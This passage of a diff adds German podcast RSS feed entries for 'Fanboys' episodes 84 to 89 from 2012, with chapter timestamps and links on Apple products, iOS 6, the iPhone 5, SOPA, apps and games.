+00:19:48 who the fuck is snappli
+00:26:50 Trickkiste: Text vorlesen lassen
+00:31:15 SOPA, PIPA, Tralala
+00:35:27 App.Net
+00:54:11 ch.eer.io
+00:54:58 ifttt.com
+00:55:59 Podcast App jetzt besser, ähm, anders
+00:57:13 Retrozirkel
+00:58:42 mobileMacs mit Dom
+01:00:23 Open Mind Talks
+01:01:19 Geschlechterdifferenz und Politik
+01:03:07 Sprache und Platformneutralität
+01:04:21 Widerstand ist zwecklos
+01:08:02 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td><a href="http://alpha.app.net/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:16</td><td><a href="http://alpha.app.net/map" target="_blank">und Martin</td></tr><tr><td>00:02:21</td><td>Steve Trirbute Video</td></tr><tr><td>00:03:08</td><td><a href="http://www.nydailynews.com/life-style/lost-speech-reveals-steve-jobs-idea-ipad-1983-article-1.1175709?localLinksEnabled=false" target="_blank">Steve Jobs International Design Conference Video</td></tr><tr><td>00:04:34</td><td><a href="http://www.tuaw.com/2012/10/01/john-sculley-discusses-arm-and-the-newton/" target="_blank">TUAW, Apple und der ARM</td></tr><tr><td>00:06:18</td><td><a href="http://en.wikipedia.org/wiki/Sophie_Wilson" target="_blank">Sophie Wilson</td></tr><tr><td>00:06:26</td><td><a href="http://en.wikipedia.org/wiki/Micro_Men" target="_blank">Micromen</td></tr><tr><td>00:09:45</td><td><a href="http://findingada.com" target="_blank">Ada Lovelace Day</td></tr><tr><td>00:10:30</td><td><a href="http://www.apple.com/letter-from-tim-cook-on-maps/" target="_blank">mapgate</td></tr><tr><td>00:15:31</td><td><a href="http://mapdiva.com/" target="_blank">Ortelius</td></tr><tr><td>00:16:55</td><td>Zahlen im Apple Store</td></tr><tr><td>00:19:48</td><td><a href="http://daringfireball.net/2012/10/snappli_maps" target="_blank">who the fuck is snappli</td></tr><tr><td>00:26:50</td><td>Trickkiste: Text vorlesen lassen</td></tr><tr><td>00:31:15</td><td><a href="http://www.heise.de/newsticker/meldung/US-Filmindustrie-Zensurgesetze-SOPA-und-PIPA-sind-gestorben-1723958.html" target="_blank">SOPA, PIPA, Tralala</td></tr><tr><td>00:35:27</td><td>App.Net</td></tr><tr><td>00:54:11</td><td><a href="http://ch.eer.io" target="_blank">ch.eer.io</td></tr><tr><td>00:54:58</td><td><a href="http://ifttt.com" target="_blank">ifttt.com</td></tr><tr><td>00:55:59</td><td>Podcast App jetzt besser, ähm, anders</td></tr><tr><td>00:57:13</td><td><a href="http://retrozirkel.de/podcast/rez028/" target="_blank">Retrozirkel</td></tr><tr><td>00:58:42</td><td><a href="http://mobilemacs.de/2012/10/mm097.html" target="_blank">mobileMacs mit Dom</td></tr><tr><td>01:00:23</td><td><a href="http://www.youtube.com/user/PiratenStreaming?feature=watch" target="_blank">Open Mind Talks</td></tr><tr><td>01:01:19</td><td><a href="http://www.youtube.com/watch?v=QmT8MUlW9AU" target="_blank">Geschlechterdifferenz und Politik</td></tr><tr><td>01:03:07</td><td><a href="http://www.youtube.com/watch?v=6w0mHcPc7Ek" target="_blank">Sprache und Platformneutralität</td></tr><tr><td>01:04:21</td><td><a href="http://www.youtube.com/watch?v=OI1ACh5pry4" target="_blank">Widerstand ist zwecklos</td></tr><tr><td>01:08:02</td><td><a href="http://www.youtube.com/watch?v=6ti2S7Py25w" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" href="http://alpha.app.net/monkeydom" />
+ <sc:chapter start="00:00:13" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:16" title="und Martin" href="http://alpha.app.net/map" />
+ <sc:chapter start="00:02:21" title="Steve Trirbute Video" />
+ <sc:chapter start="00:03:08" title="Steve Jobs International Design Conference Video" href="http://www.nydailynews.com/life-style/lost-speech-reveals-steve-jobs-idea-ipad-1983-article-1.1175709?localLinksEnabled=false" />
+ <sc:chapter start="00:04:34" title="TUAW, Apple und der ARM" href="http://www.tuaw.com/2012/10/01/john-sculley-discusses-arm-and-the-newton/" />
+ <sc:chapter start="00:06:18" title="Sophie Wilson" href="http://en.wikipedia.org/wiki/Sophie_Wilson" />
+ <sc:chapter start="00:06:26" title="Micromen" href="http://en.wikipedia.org/wiki/Micro_Men" />
+ <sc:chapter start="00:09:45" title="Ada Lovelace Day" href="http://findingada.com" />
+ <sc:chapter start="00:10:30" title="mapgate" href="http://www.apple.com/letter-from-tim-cook-on-maps/" />
+ <sc:chapter start="00:15:31" title="Ortelius" href="http://mapdiva.com/" />
+ <sc:chapter start="00:16:55" title="Zahlen im Apple Store" />
+ <sc:chapter start="00:19:48" title="who the fuck is snappli" href="http://daringfireball.net/2012/10/snappli_maps" />
+ <sc:chapter start="00:26:50" title="Trickkiste: Text vorlesen lassen" />
+ <sc:chapter start="00:31:15" title="SOPA, PIPA, Tralala" href="http://www.heise.de/newsticker/meldung/US-Filmindustrie-Zensurgesetze-SOPA-und-PIPA-sind-gestorben-1723958.html" />
+ <sc:chapter start="00:35:27" title="App.Net" />
+ <sc:chapter start="00:54:11" title="ch.eer.io" href="http://ch.eer.io" />
+ <sc:chapter start="00:54:58" title="ifttt.com" href="http://ifttt.com" />
+ <sc:chapter start="00:55:59" title="Podcast App jetzt besser, ähm, anders" />
+ <sc:chapter start="00:57:13" title="Retrozirkel" href="http://retrozirkel.de/podcast/rez028/" />
+ <sc:chapter start="00:58:42" title="mobileMacs mit Dom" href="http://mobilemacs.de/2012/10/mm097.html" />
+ <sc:chapter start="01:00:23" title="Open Mind Talks" href="http://www.youtube.com/user/PiratenStreaming?feature=watch" />
+ <sc:chapter start="01:01:19" title="Geschlechterdifferenz und Politik" href="http://www.youtube.com/watch?v=QmT8MUlW9AU" />
+ <sc:chapter start="01:03:07" title="Sprache und Platformneutralität" href="http://www.youtube.com/watch?v=6w0mHcPc7Ek" />
+ <sc:chapter start="01:04:21" title="Widerstand ist zwecklos" href="http://www.youtube.com/watch?v=OI1ACh5pry4" />
+ <sc:chapter start="01:08:02" title="Rausschmeisser" href="http://www.youtube.com/watch?v=6ti2S7Py25w" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2389&amp;user_id=map&amp;title=Fanboys%20Episode%2089&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#89:" />
+ </item>
+ <item>
+ <title>Episode #88 - Sorry!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Sorry!</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN088.mp3" length="41759809" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN088</guid>
+ <pubDate>Thu, 27 Sep 2012 23:31:59 +0200</pubDate>
+ <itunes:duration>01:26:51</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:17 Mit Dominik
+00:00:20 Tim
+00:00:36 und Martin
+00:00:54 Logbuch Netzpolitik
+00:01:53 iPhone 5
+00:07:38 Earpods
+00:12:26 Siri
+00:17:16 5GHz Wifi
+00:21:12 Umlauttastatur in iOS6
+00:26:16 LTE
+00:33:38 Kalender
+00:36:45 Maps
+00:51:42 Entwicklerschmerzen
+01:04:09 Opus
+01:13:24 Retrozirkel jetzt mit Podlove
+01:17:10 Mardersuch App
+01:20:05 The Last Express
+01:22:46 Yesterday
+01:24:19 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:17</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:20</td><td><a href="http://twitter.com/timpritlove" target="_blank">Tim</td></tr><tr><td>00:00:36</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:54</td><td><a href="http://logbuch-netzpolitik.de/lnp039/#t=00:00:20" target="_blank">Logbuch Netzpolitik</td></tr><tr><td>00:01:53</td><td>iPhone 5</td></tr><tr><td>00:07:38</td><td>Earpods</td></tr><tr><td>00:12:26</td><td>Siri</td></tr><tr><td>00:17:16</td><td>5GHz Wifi</td></tr><tr><td>00:21:12</td><td>Umlauttastatur in iOS6</td></tr><tr><td>00:26:16</td><td>LTE</td></tr><tr><td>00:33:38</td><td>Kalender</td></tr><tr><td>00:36:45</td><td>Maps</td></tr><tr><td>00:51:42</td><td>Entwicklerschmerzen</td></tr><tr><td>01:04:09</td><td>Opus</td></tr><tr><td>01:13:24</td><td><a href="http://retrozirkel.de" target="_blank">Retrozirkel jetzt mit Podlove</td></tr><tr><td>01:17:10</td><td>Mardersuch App</td></tr><tr><td>01:20:05</td><td><a href="http://itunes.apple.com/en/app/the-last-express/id508049561?mt=8" target="_blank">The Last Express</td></tr><tr><td>01:22:46</td><td><a href="http://itunes.apple.com/de/app/yesterday/id518587250?mt=8" target="_blank">Yesterday</td></tr><tr><td>01:24:19</td><td><a href="http://www.youtube.com/watch?v=KUDjRZ30SNo" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:17" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:20" title="Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:36" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:54" title="Logbuch Netzpolitik" href="http://logbuch-netzpolitik.de/lnp039/#t=00:00:20" />
+ <sc:chapter start="00:01:53" title="iPhone 5" />
+ <sc:chapter start="00:07:38" title="Earpods" />
+ <sc:chapter start="00:12:26" title="Siri" />
+ <sc:chapter start="00:17:16" title="5GHz Wifi" />
+ <sc:chapter start="00:21:12" title="Umlauttastatur in iOS6" />
+ <sc:chapter start="00:26:16" title="LTE" />
+ <sc:chapter start="00:33:38" title="Kalender" />
+ <sc:chapter start="00:36:45" title="Maps" />
+ <sc:chapter start="00:51:42" title="Entwicklerschmerzen" />
+ <sc:chapter start="01:04:09" title="Opus" />
+ <sc:chapter start="01:13:24" title="Retrozirkel jetzt mit Podlove" href="http://retrozirkel.de" />
+ <sc:chapter start="01:17:10" title="Mardersuch App" />
+ <sc:chapter start="01:20:05" title="The Last Express" href="http://itunes.apple.com/en/app/the-last-express/id508049561?mt=8" />
+ <sc:chapter start="01:22:46" title="Yesterday" href="http://itunes.apple.com/de/app/yesterday/id518587250?mt=8" />
+ <sc:chapter start="01:24:19" title="Rausschmeisser" href="http://www.youtube.com/watch?v=KUDjRZ30SNo" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2388&amp;user_id=map&amp;title=Fanboys%20Episode%2088&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#88:" />
+ </item>
+ <item>
+ <title>Episode #87 - Mit Greuther Fürth hat Apple nicht gerechnet</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Mit Greuther Fürth hat Apple nicht gerechnet</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN087.mp3" length="46386199" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN087</guid>
+ <pubDate>Tue, 25 Sep 2012 00:20:46 +0200</pubDate>
+ <itunes:duration>01:36:30</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:14 Marcel
+00:00:18 und map
+00:01:05 iOS 6 und iPhone 5
+00:07:45 Warum
+00:10:09 Fotos
+00:11:15 und buuuunt
+00:14:52 SBB vs Apple
+00:18:04 mapgate
+00:28:15 Youtube App
+00:29:37 Wideband Audio
+00:33:22 App Store
+00:39:19 Reading List auch offline
+00:42:28 Music.app
+00:48:22 Passbook
+00:51:35 Siri
+00:53:31 Formfaktor
+00:57:25 Camera
+01:02:48 Shared Photostreams
+01:09:09 iPhone Umzugsberatung
+01:15:09 Marcels Trickkiste: Transkridiktieren
+01:20:18 OS X 10.8.2
+01:23:34 Superhexagon
+01:32:59 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td>Mit Dominik</td></tr><tr><td>00:00:14</td><td>Marcel</td></tr><tr><td>00:00:18</td><td>und map</td></tr><tr><td>00:01:05</td><td>iOS 6 und iPhone 5</td></tr><tr><td>00:07:45</td><td>Warum</td></tr><tr><td>00:10:09</td><td>Fotos</td></tr><tr><td>00:11:15</td><td>und buuuunt</td></tr><tr><td>00:14:52</td><td><a href="http://news.cnet.com/8301-13579_3-57519011-37/apple-to-meet-swiss-railway-over-clock-design-flap-report/" target="_blank">SBB vs Apple</td></tr><tr><td>00:18:04</td><td>mapgate</td></tr><tr><td>00:28:15</td><td>Youtube App</td></tr><tr><td>00:29:37</td><td>Wideband Audio</td></tr><tr><td>00:33:22</td><td>App Store</td></tr><tr><td>00:39:19</td><td>Reading List auch offline</td></tr><tr><td>00:42:28</td><td>Music.app</td></tr><tr><td>00:48:22</td><td><a href="http://www.passify.de/de/" target="_blank">Passbook</td></tr><tr><td>00:51:35</td><td>Siri</td></tr><tr><td>00:53:31</td><td>Formfaktor</td></tr><tr><td>00:57:25</td><td>Camera</td></tr><tr><td>01:02:48</td><td>Shared Photostreams</td></tr><tr><td>01:09:09</td><td>iPhone Umzugsberatung</td></tr><tr><td>01:15:09</td><td>Marcels Trickkiste: Transkridiktieren</td></tr><tr><td>01:20:18</td><td>OS X 10.8.2</td></tr><tr><td>01:23:34</td><td><a href="http://superhexagon.com" target="_blank">Superhexagon</td></tr><tr><td>01:32:59</td><td><a href="http://www.youtube.com/watch?v=uOpdyytB3OY" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" />
+ <sc:chapter start="00:00:14" title="Marcel" />
+ <sc:chapter start="00:00:18" title="und map" />
+ <sc:chapter start="00:01:05" title="iOS 6 und iPhone 5" />
+ <sc:chapter start="00:07:45" title="Warum" />
+ <sc:chapter start="00:10:09" title="Fotos" />
+ <sc:chapter start="00:11:15" title="und buuuunt" />
+ <sc:chapter start="00:14:52" title="SBB vs Apple" href="http://news.cnet.com/8301-13579_3-57519011-37/apple-to-meet-swiss-railway-over-clock-design-flap-report/" />
+ <sc:chapter start="00:18:04" title="mapgate" />
+ <sc:chapter start="00:28:15" title="Youtube App" />
+ <sc:chapter start="00:29:37" title="Wideband Audio" />
+ <sc:chapter start="00:33:22" title="App Store" />
+ <sc:chapter start="00:39:19" title="Reading List auch offline" />
+ <sc:chapter start="00:42:28" title="Music.app" />
+ <sc:chapter start="00:48:22" title="Passbook" href="http://www.passify.de/de/" />
+ <sc:chapter start="00:51:35" title="Siri" />
+ <sc:chapter start="00:53:31" title="Formfaktor" />
+ <sc:chapter start="00:57:25" title="Camera" />
+ <sc:chapter start="01:02:48" title="Shared Photostreams" />
+ <sc:chapter start="01:09:09" title="iPhone Umzugsberatung" />
+ <sc:chapter start="01:15:09" title="Marcels Trickkiste: Transkridiktieren" />
+ <sc:chapter start="01:20:18" title="OS X 10.8.2" />
+ <sc:chapter start="01:23:34" title="Superhexagon" href="http://superhexagon.com" />
+ <sc:chapter start="01:32:59" title="Rausschmeisser" href="http://www.youtube.com/watch?v=uOpdyytB3OY" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2387&amp;user_id=map&amp;title=Fanboys%20Episode%2087&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#87:" />
+ </item>
+ <item>
+ <title>Episode #86 - Designed to be played in your ears</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Designed to be played in your ears</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN086.mp3" length="46534784" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN086</guid>
+ <pubDate>Thu, 13 Sep 2012 22:49:54 +0200</pubDate>
+ <itunes:duration>01:36:48</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:10 Marcel
+00:00:14 und Martin
+00:02:32 iPhone Event
+00:03:28 Zusammenfassung
+00:06:26 Neue Stores
+00:09:15 Apple Weltherrschaft
+00:14:11 iPhone 5
+00:21:29 LTE
+00:28:20 A6
+00:30:03 Camera
+00:37:48 Mikros und Lautsprecher
+00:41:28 Lightning
+00:45:51 iOS 6
+00:49:28 Wrapup
+00:52:46 App Store
+00:54:14 iTunes 11
+00:58:29 iPod Nano
+01:03:42 iPod Touch
+01:20:56 Schluss
+01:23:58 Will man das?
+01:29:43 Smartbook
+01:33:44 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td>Mit Dominik</td></tr><tr><td>00:00:10</td><td>Marcel</td></tr><tr><td>00:00:14</td><td>und Martin</td></tr><tr><td>00:02:32</td><td>iPhone Event</td></tr><tr><td>00:03:28</td><td>Zusammenfassung</td></tr><tr><td>00:06:26</td><td>Neue Stores</td></tr><tr><td>00:09:15</td><td>Apple Weltherrschaft</td></tr><tr><td>00:14:11</td><td><a href="http://www.apple.com/de/iphone/ " target="_blank">iPhone 5</td></tr><tr><td>00:21:29</td><td>LTE</td></tr><tr><td>00:28:20</td><td>A6</td></tr><tr><td>00:30:03</td><td>Camera</td></tr><tr><td>00:37:48</td><td>Mikros und Lautsprecher</td></tr><tr><td>00:41:28</td><td>Lightning</td></tr><tr><td>00:45:51</td><td>iOS 6</td></tr><tr><td>00:49:28</td><td>Wrapup</td></tr><tr><td>00:52:46</td><td>App Store</td></tr><tr><td>00:54:14</td><td>iTunes 11</td></tr><tr><td>00:58:29</td><td><a href="http://www.apple.com/de/ipod-nano/ " target="_blank">iPod Nano</td></tr><tr><td>01:03:42</td><td><a href="http://www.apple.com/de/ipod-touch/ " target="_blank">iPod Touch</td></tr><tr><td>01:20:56</td><td>Schluss</td></tr><tr><td>01:23:58</td><td>Will man das?</td></tr><tr><td>01:29:43</td><td><a href="http://www.meinsmartbook.de " target="_blank">Smartbook</td></tr><tr><td>01:33:44</td><td><a href="http://www.youtube.com/watch?v=QCtlK8BiCvQ " target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" />
+ <sc:chapter start="00:00:10" title="Marcel" />
+ <sc:chapter start="00:00:14" title="und Martin" />
+ <sc:chapter start="00:02:32" title="iPhone Event" />
+ <sc:chapter start="00:03:28" title="Zusammenfassung" />
+ <sc:chapter start="00:06:26" title="Neue Stores" />
+ <sc:chapter start="00:09:15" title="Apple Weltherrschaft" />
+ <sc:chapter start="00:14:11" title="iPhone 5" href="http://www.apple.com/de/iphone/ " />
+ <sc:chapter start="00:21:29" title="LTE" />
+ <sc:chapter start="00:28:20" title="A6" />
+ <sc:chapter start="00:30:03" title="Camera" />
+ <sc:chapter start="00:37:48" title="Mikros und Lautsprecher" />
+ <sc:chapter start="00:41:28" title="Lightning" />
+ <sc:chapter start="00:45:51" title="iOS 6" />
+ <sc:chapter start="00:49:28" title="Wrapup" />
+ <sc:chapter start="00:52:46" title="App Store" />
+ <sc:chapter start="00:54:14" title="iTunes 11" />
+ <sc:chapter start="00:58:29" title="iPod Nano" href="http://www.apple.com/de/ipod-nano/ " />
+ <sc:chapter start="01:03:42" title="iPod Touch" href="http://www.apple.com/de/ipod-touch/ " />
+ <sc:chapter start="01:20:56" title="Schluss" />
+ <sc:chapter start="01:23:58" title="Will man das?" />
+ <sc:chapter start="01:29:43" title="Smartbook" href="http://www.meinsmartbook.de " />
+ <sc:chapter start="01:33:44" title="Rausschmeisser" href="http://www.youtube.com/watch?v=QCtlK8BiCvQ " />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2386&amp;user_id=map&amp;title=Fanboys%20Episode%2086&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#86:" />
+ </item>
+ <item>
+ <title>Episode #85 - Shortpad and Longphone</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Shortpad and Longphone</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN085.mp3" length="35298369" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN085</guid>
+ <pubDate>Fri, 07 Sep 2012 22:15:53 +0200</pubDate>
+ <itunes:duration>01:13:24</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:15 und Martin
+00:01:11 The Curse Nachtrag
+00:04:44 Longphone
+00:07:56 Kein NFC
+00:13:22 Warum?
+00:18:18 Alt-iPhone Schwemme
+00:27:27 Sie nannten es Kindle
+00:35:22 Nokia Lumia 920
+00:38:25 Fake Video
+00:42:16 Fake Photos
+00:47:27 Fahrinfo
+00:52:08 Braven 650
+00:59:33 Plague Inc.
+01:05:39 Spectromancer
+01:12:08 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:11</td><td><a href="http://itunes.apple.com/us/app/the-curse/id548001324?ls=1&amp;mt=8" target="_blank">The Curse Nachtrag</td></tr><tr><td>00:04:44</td><td><a href="http://www.appleinsider.com/articles/12/09/04/apple_announces_its_almost_here_event_on_sept_12.html" target="_blank">Longphone</td></tr><tr><td>00:07:56</td><td><a href="http://www.appleinsider.com/articles/12/09/06/new_pics_of_apples_iphone_5_mystery_part_reaffirm_no_nfc_chip.html" target="_blank">Kein NFC</td></tr><tr><td>00:13:22</td><td>Warum?</td></tr><tr><td>00:18:18</td><td>Alt-iPhone Schwemme</td></tr><tr><td>00:27:27</td><td><a href="http://www.techradar.com/news/mobile-computing/tablets/amazon-announces-kindle-paperweight-1095267" target="_blank">Sie nannten es Kindle</td></tr><tr><td>00:35:22</td><td><a href="http://www.theverge.com/2012/9/5/3293146/nokia-lumia-920-hands-on-photos-video" target="_blank">Nokia Lumia 920</td></tr><tr><td>00:38:25</td><td><a href="http://www.theverge.com/2012/9/5/3294545/nokias-pureview-ads-are-fraudulent/in/3057769" target="_blank">Fake Video</td></tr><tr><td>00:42:16</td><td><a href="http://daringfireball.net/linked/2012/09/06/nokia-fraud" target="_blank">Fake Photos</td></tr><tr><td>00:47:27</td><td><a href="http://fahrinfoapp.de/" target="_blank">Fahrinfo</td></tr><tr><td>00:52:08</td><td><a href="http://www.braven.com/braven-650.html" target="_blank">Braven 650</td></tr><tr><td>00:59:33</td><td><a href="http://itunes.apple.com/us/app/plague-inc./id525818839?mt=8" target="_blank">Plague Inc.</td></tr><tr><td>01:05:39</td><td><a href="http://itunes.apple.com/us/app/spectromancer/id551013782?ls=1&amp;mt=8" target="_blank">Spectromancer</td></tr><tr><td>01:12:08</td><td><a href="http://www.zefrank.com/great/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:11" title="The Curse Nachtrag" href="http://itunes.apple.com/us/app/the-curse/id548001324?ls=1&amp;mt=8" />
+ <sc:chapter start="00:04:44" title="Longphone" href="http://www.appleinsider.com/articles/12/09/04/apple_announces_its_almost_here_event_on_sept_12.html" />
+ <sc:chapter start="00:07:56" title="Kein NFC" href="http://www.appleinsider.com/articles/12/09/06/new_pics_of_apples_iphone_5_mystery_part_reaffirm_no_nfc_chip.html" />
+ <sc:chapter start="00:13:22" title="Warum?" />
+ <sc:chapter start="00:18:18" title="Alt-iPhone Schwemme" />
+ <sc:chapter start="00:27:27" title="Sie nannten es Kindle" href="http://www.techradar.com/news/mobile-computing/tablets/amazon-announces-kindle-paperweight-1095267" />
+ <sc:chapter start="00:35:22" title="Nokia Lumia 920" href="http://www.theverge.com/2012/9/5/3293146/nokia-lumia-920-hands-on-photos-video" />
+ <sc:chapter start="00:38:25" title="Fake Video" href="http://www.theverge.com/2012/9/5/3294545/nokias-pureview-ads-are-fraudulent/in/3057769" />
+ <sc:chapter start="00:42:16" title="Fake Photos" href="http://daringfireball.net/linked/2012/09/06/nokia-fraud" />
+ <sc:chapter start="00:47:27" title="Fahrinfo" href="http://fahrinfoapp.de/" />
+ <sc:chapter start="00:52:08" title="Braven 650" href="http://www.braven.com/braven-650.html" />
+ <sc:chapter start="00:59:33" title="Plague Inc." href="http://itunes.apple.com/us/app/plague-inc./id525818839?mt=8" />
+ <sc:chapter start="01:05:39" title="Spectromancer" href="http://itunes.apple.com/us/app/spectromancer/id551013782?ls=1&amp;mt=8" />
+ <sc:chapter start="01:12:08" title="Rausschmeisser" href="http://www.zefrank.com/great/" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2385&amp;user_id=map&amp;title=Fanboys%20Episode%2085&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#85:" />
+ </item>
+ <item>
+ <title>Episode #84 - XXX</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>XXX</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN084.mp3" length="28484589" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN084</guid>
+ <pubDate>Fri, 31 Aug 2012 00:06:31 +0200</pubDate>
+ <itunes:duration>00:59:12</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:12 Marcel
+00:00:15 un Martin
+00:01:16 Neue Facebook App
+00:08:13 Native vs HTML5
+00:10:29 Gema vs Musikpiraten
+00:16:43 Leistungsschutzrecht Update
+00:19:29 #bombe
+00:27:14 Apple und Samsung
+00:33:38 Ace Attorney HD
+00:35:27 Nativer Gimp
+00:39:51 Bastion für iPad
+00:42:05 The Curse
+00:45:36 Nihilumbra
+00:49:08 McPixel
+00:51:55 Lost Cities
+00:56:51 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">un Martin</td></tr><tr><td>00:01:16</td><td><a href="https://www.facebook.com/notes/facebook-engineering/under-the-hood-rebuilding-facebook-for-ios/10151036091753920" target="_blank">Neue Facebook App</td></tr><tr><td>00:08:13</td><td><a href="http://branch.com/b/a-blow-to-html5" target="_blank">Native vs HTML5</td></tr><tr><td>00:10:29</td><td><a href="http://www.heise.de/tp/artikel/37/37514/1.html" target="_blank">Gema vs Musikpiraten</td></tr><tr><td>00:16:43</td><td>Leistungsschutzrecht Update</td></tr><tr><td>00:19:29</td><td><a href="http://vimeo.com/48399328" target="_blank">#bombe</td></tr><tr><td>00:27:14</td><td><a href="http://www.bbc.com/news/technology-19391235" target="_blank">Apple und Samsung</td></tr><tr><td>00:33:38</td><td><a href="http://www.iphoneblog.de/2012/08/29/diesen-herbst-phoenix-wright-ace-attorney-trilogy-hd/" target="_blank">Ace Attorney HD</td></tr><tr><td>00:35:27</td><td><a href="http://www.gimp.org/downloads/" target="_blank">Nativer Gimp</td></tr><tr><td>00:39:51</td><td><a href="http://itunes.apple.com/de/app/bastion/id537773100?mt=8" target="_blank">Bastion für iPad</td></tr><tr><td>00:42:05</td><td><a href="http://www.thecursegame.com" target="_blank">The Curse</td></tr><tr><td>00:45:36</td><td><a href="http://itunes.apple.com/us/app/nihilumbra/id500161349?mt=8" target="_blank">Nihilumbra</td></tr><tr><td>00:49:08</td><td><a 